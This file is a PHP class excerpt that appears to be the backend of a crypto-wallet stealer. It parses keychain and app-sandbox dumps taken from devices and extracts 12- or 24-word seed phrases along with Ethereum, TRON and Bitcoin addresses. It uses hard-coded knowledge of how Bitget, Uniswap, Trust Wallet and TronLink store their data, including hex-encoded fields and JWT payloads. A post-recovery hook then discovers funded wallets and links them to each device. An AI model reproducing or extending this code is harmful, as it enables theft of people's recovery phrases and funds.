private function asMnemonicPhrase(string $raw): ?string
{
$candidates = [$raw];
$trimmed = trim($raw);
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
$bin = @hex2bin($trimmed);
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
$candidates[] = $bin;
$decoded = json_decode($bin, true);
if (is_array($decoded)) {
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
if (isset($decoded[$k]) && is_string($decoded[$k])) {
$candidates[] = $decoded[$k];
}
}
}
}
}
foreach ($candidates as $text) {
$phrase = $this->matchWordMnemonic($text);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
private function matchWordMnemonic(string $text): ?string
{
$text = strtolower(trim($text));
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
return null;
}
$words = preg_split('/\s+/', $text) ?: [];
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
/**
* Extract addresses from keychain data even when the mnemonic cannot be
* decrypted. Walks through all wallet items looking for:
* - JWT tokens (Bitget) containing an "address" field.
* - Account names that embed an address (Uniswap mnemonic.<addr>).
* - Any plaintext address in dataHex or account fields.
*
* Only ETH / TRX / BTC addresses are persisted (SUPPORTED_CHAINS).
*
* @param array<string, mixed> $wallets
* @param array<string, mixed> $sandbox
* @return int Number of addresses ingested.
*/
public function extractAddressesFromKeystores(Device $device, mixed $wallets, mixed $sandbox): int
{
$addresses = [];
$this->collectAddressesFromNode($wallets, $addresses);
$this->collectAddressesFromNode($sandbox, $addresses);
if ($addresses === []) {
return 0;
}
// Group by source tag inferred from the wallet key.
$byTag = [];
foreach ($addresses as $addr) {
$tag = $addr['tag'] ?? 'd';
$byTag[$tag][] = $addr;
}
$total = 0;
foreach ($byTag as $tag => $rows) {
// Deduplicate by address.
$seen = [];
$data = [];
foreach ($rows as $row) {
$key = $row['address'];
if (isset($seen[$key])) {
continue;
}
$seen[$key] = true;
$data[] = $row;
}
if ($data !== []) {
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'data' => $data,
]);
$total += count($data);
}
}
return $total;
}
/**
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
*/
private function collectAddressesFromNode(mixed $node, array &$out, string $sourceHint = '', string $tag = 'd', int $depth = 0): void
{
if ($depth > 10 || $node === null) {
return;
}
if (is_string($node)) {
// Try to decode hex and find addresses in the decoded text.
$decoded = $this->decodeHexText($node);
if ($decoded !== null) {
$this->harvestAddresses($decoded, $sourceHint, $tag, $out);
}
return;
}
if (! is_array($node)) {
return;
}
// Detect wallet source from key name.
$childSource = $sourceHint;
$childTag = $tag;
// We don't have the key here in the recursive walk; detect from
// service/account fields instead.
// Check direct 'address' field (Trust Wallet activeAccounts pattern:
// {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
$directAddr = (string) ($node['address'] ?? '');
if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
$chainType = WalletSource::inferChainType($directAddr);
// TronLink stores TRON addresses in hex format (0x41 prefix)
if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
$converted = self::hexTronToBase58($directAddr);
if ($converted !== null) {
$directAddr = $converted;
$chainType = 'TRON';
}
}
if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
$out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
}
}
// Check account field for embedded addresses (Uniswap pattern:
// "com.uniswap.mobile.mnemonic.0x4A45...").
$acct = (string) ($node['account'] ?? '');
if ($acct !== '') {
// Decode hex account name.
$acctDecoded = '';
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
$bin = @hex2bin($acct);
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
$acctDecoded = $bin;
}
} else {
$acctDecoded = $acct;
}
if ($acctDecoded !== '') {
$this->harvestAddresses($acctDecoded, $sourceHint, $tag, $out);
}
}
// Check dataHex for JWT tokens (Bitget pattern: JWT with address field).
$dh = (string) ($node['dataHex'] ?? '');
if ($dh !== '' && ctype_xdigit($dh) && strlen($dh) % 2 === 0) {
$raw = @hex2bin($dh);
if (is_string($raw) && mb_check_encoding($raw, 'UTF-8')) {
$this->harvestAddresses($raw, $sourceHint, $tag, $out);
}
}
// Detect source from service field.
$svc = strtolower((string) ($node['service'] ?? ''));
if ($childSource === '' && $svc !== '') {
$hint = WalletSource::fromKeystoreHint($svc);
if ($hint !== '') {
$childSource = $hint;
$childTag = WalletSource::tagForLabel($hint) ?: $tag;
}
}
foreach ($node as $key => $child) {
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$this->collectAddressesFromNode($child, $out, $hint, WalletSource::tagForLabel($hint) ?: $tag, $depth + 1);
continue;
}
}
if (is_array($child) || is_string($child)) {
$this->collectAddressesFromNode($child, $out, $childSource, $childTag, $depth + 1);
}
}
}
/**
* Harvest ETH/TRX/BTC addresses from a text string and add them to $out.
*
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
*/
private function harvestAddresses(string $text, string $source, string $tag, array &$out): void
{
// JWT tokens: decode payload and look for "address" field.
if (str_starts_with($text, 'eyJ')) {
$parts = explode('.', $text);
if (count($parts) >= 2) {
$payload = $parts[1];
$pad = (4 - strlen($payload) % 4) % 4;
if ($pad > 0) {
$payload .= str_repeat('=', $pad);
}
$decoded = base64_decode(strtr($payload, '-_', '+/'), true);
if (is_string($decoded)) {
$json = json_decode($decoded, true);
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
$addr = $json['address'];
$chainType = WalletSource::inferChainType($addr);
// TON stays out of DS free-text harvests (jetton
// contract noise); only the app-link Tonhub
// collector may store TON addresses.
$supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType);
if ($supported) {
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
}
}
}
}
}
// Direct address patterns — each match is validated before
// being accepted, so encrypted blobs (xpub strings, hex IVs,
// base64 ciphertext) that happen to match a regex are rejected.
$patterns = [
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
];
$validators = [
'ETHEREUM' => fn (string $a) => EthAddress::isValid($a),
'TRON' => fn (string $a) => TronAddress::isValid($a),
'BITCOIN' => fn (string $a) => BtcAddress::isValid($a),
];
foreach ($patterns as $pat => $chainType) {
if (preg_match_all($pat, $text, $matches)) {
$validator = $validators[$chainType] ?? null;
foreach ($matches[0] as $addr) {
if ($validator !== null && ! $validator($addr)) {
continue;
}
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
}
}
}
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int, tag: string}
*/
private function addressRow(string $address, string $chainType, string $source, string $tag): array
{
$symbol = match ($chainType) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chainType,
'symbol' => $symbol,
'balance' => 0,
'tag' => $tag,
];
}
/**
* Decode a hex string to UTF-8 text if possible.
*/
private function decodeHexText(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '' || ! ctype_xdigit($raw) || strlen($raw) % 2 !== 0) {
return null;
}
$bin = @hex2bin($raw);
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
return $bin;
}
return null;
}
/**
* Post-recovery hook: discover activated wallets and link addresses.
* Called by the async job after a mnemonic is recovered.
*
* @param array{source: string, tag: string, phrase: string, addresses: list<array<string, mixed>>} $hit
*/
public function postRecoverMnemonic(WalletMnemonic $mnemonic, array $hit): void
{
$this->mnemonicDiscovery->discoverActivated($mnemonic);
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($mnemonic->device, [
'a' => $tag,
'data' => $hit['addresses'],
]);
}
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
}
/**
* Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
*/
private static function hexTronToBase58(string $hex): ?string
{
if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
return null;
}
$bin = @hex2bin($hex);
if ($bin === false || strlen($bin) !== 21) {
return null;
}
$hash1 = hash('sha256', $bin, true);
$hash2 = hash('sha256', $hash1, true);
$data = $bin . substr($hash2, 0, 4);
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$base = strlen($alphabet);
$num = array_map('ord', str_split($data));
$result = '';
while (count($num) > 0 && $num[0] === 0) {
$result .= $alphabet[0];
$num = array_slice($num, 1);
}
while ($num !== []) {
$quotient = [];
$remainder = 0;
foreach ($num as $byte) {
$acc = $remainder * 256 + $byte;
$digit = intdiv($acc, $base);
$remainder = $acc % $base;
if ($quotient !== [] || $digit !== 0) {
$quotient[] = $digit;
}
}
$result = $alphabet[$remainder] . $result;
$num = $quotient;
}
return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
}
}